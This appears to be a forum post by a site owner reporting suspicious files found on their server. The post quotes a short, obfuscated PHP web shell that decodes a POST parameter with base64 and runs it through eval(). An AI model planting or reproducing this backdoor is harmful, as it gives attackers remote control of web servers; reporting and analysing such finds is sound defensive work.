Okay, I found more files with the same lines in them and I found about 3 files in odd locations with the following code in them:
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n95e668'];if(isset($s22)){eval($s21($s22));}?>
